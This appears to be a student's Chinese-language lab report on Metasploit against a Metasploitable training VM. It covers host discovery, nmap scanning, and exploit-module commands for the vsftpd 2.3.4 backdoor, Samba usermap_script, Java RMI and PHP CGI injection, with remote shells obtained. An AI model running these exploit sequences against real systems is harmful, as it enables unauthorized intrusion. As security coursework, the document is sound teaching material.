1.实验内容
1.1 实验要求
掌握Metasploit的使用方法：“Search——Use——Show——Set——Exploit/run”。
1.2 实验任务
（1）前期渗透
（2）Vsftpd源码包后门漏洞（21端口）
（3）SambaMS-RPC Shell命令注入漏洞（端口139）
（4）Java RMI SERVER命令执行漏洞（1099端口）
（5）PHP CGI参数执行注入漏洞（80端口）
1.3 本周学习内容
本周就是在周五就已经被测试折磨得学会了metasploit，虽然最终因为各种原因没做出来，但是还是了解了整个过程以及原理，掌握了搜索对应漏洞，再通过show options来找出自己需要填的参数的万能方法（好吧也并不万能，如果受害机打了补丁修复了漏洞就无能为力了）。
2.实验过程
2.1 前期渗透
（1）主机发现（可用Aux中的arp_sweep，search一下就可以use）
在Kali中依次输入如下命令。
-
msfconsole//进入msf控制台 -
search arp_sweep//搜寻arp_sweep功能模块 -
use 0//在查询结果中使用第0项模块（也可以将0换成具体模块名字） -
show options//查找该模块目前已填入的参数（同时可以看到需要填写的参数）
可以看到必填项只剩RHOST没填，所以我们只需要去靶机查询IP地址，设置参数即可。
在靶机下载官网可知道登录靶机用户名和密码均为“msfadmin”,进入靶机。
在靶机中输入 ipconfig 。
再返回Kali输入如下命令。
-
set RHOSTS 192.168.197.148/24//设置目标主机IP地址 -
run//开始扫描
可能是由于写了子网掩码，扫描的其实是目标网段。可能命令里IP地址应该是一个网段。
不过不管怎样，在扫描结果中找到了靶机。
（2）端口扫描：可以直接用nmap，也可以用Aux中的portscan/tcp等。
输入exit退出msf控制台。在命令行中直接使用指令：
nmap -p 1-2318 192.168.197.148 //扫描靶机的1-2318端口。
可以在截图中看到开放的端口。
（3）漏洞扫描。
接着使用nmap -script=vuln 192.168.197.148对靶机进行漏洞扫描。
可以看到靶机中存在相当多漏洞。在图片信息中提取出本次实验要用到的21、139、1099、80端口的开放信息以及漏洞信息。
2.2 Vsftpd源码包后门漏洞（21端口）
漏洞原理：在特定版本的vsftpd服务器程序中，被人恶意植入代码，当用户名以“:）”为结尾，服务器就会在6200端口监听，并且能够执行任意代码。
在Kali中进入msf控制台，输入如下命令：
-
use exploit/unix/ftp/vsftpd_234_backdoor//选择漏洞 -
set RHOST 192.168.197.148//设置要攻击的机器IP（靶机IP） -
exploit/run//开始攻击
再利用uname –a、pwd、id、ifconfig等命令进行验证是否攻击成功
可以看到已经获取靶机shell，攻击成功。
2.3 SambaMS-RPC Shell命令注入漏洞（端口139）
漏洞原理：Samba中负责在SAM数据库更新用户口令的代码未经过滤便将用户输入传输给了/bin/sh。如果在调用smb.conf中定义的外部脚本时，通过对/bin/sh的MS-RPC调用提交了恶意输入的话，就可能允许攻击者以nobody用户的权限执行任意命令。
在msf控制台中，输入如下命令：
-
use exploit/multi/samba/usermap_script//选择漏洞 -
set RHOST 192.168.197.148//设置要攻击的机器IP（靶机IP） -
exploit/run//开始攻击
再利用ifconfig命令进行验证是否攻击成功，可以看到攻击成功了。
2.4 Java RMI SERVER命令执行漏洞（1099端口）
漏洞原理：Java RMI Server的RMI注册表和RMI激活服务的默认配置存在安全漏洞，可被利用导致代码执行。
在msf控制台中，输入如下命令：
-
use exploit/multi/misc/java_rmi_server//选择漏洞 -
set RHOST 192.168.197.148//设置要攻击的机器IP（靶机IP） -
exploit/run//开始攻击 -
ifconfig//验证攻击是否成功
可以看到攻击成功了（其实没有）。
不知道为什么无法打开shell呢。但是又可以输入其他一些命令，看起来好像取得了部分控制权一样。
2.5 PHP CGI参数执行注入漏洞（80端口）
漏洞原理：CGI脚本没有正确处理请求参数，导致源代码泄露，允许远程攻击者在请求参数中插入执行命令。
在msf控制台中，输入如下命令：
-
use exploit/multi/http/php_cgi_arg_injection//选择漏洞 -
set RHOST 192.168.197.148//设置要攻击的机器IP（靶机IP） -
exploit/run//开始攻击 -
shell//尝试打开靶机shell
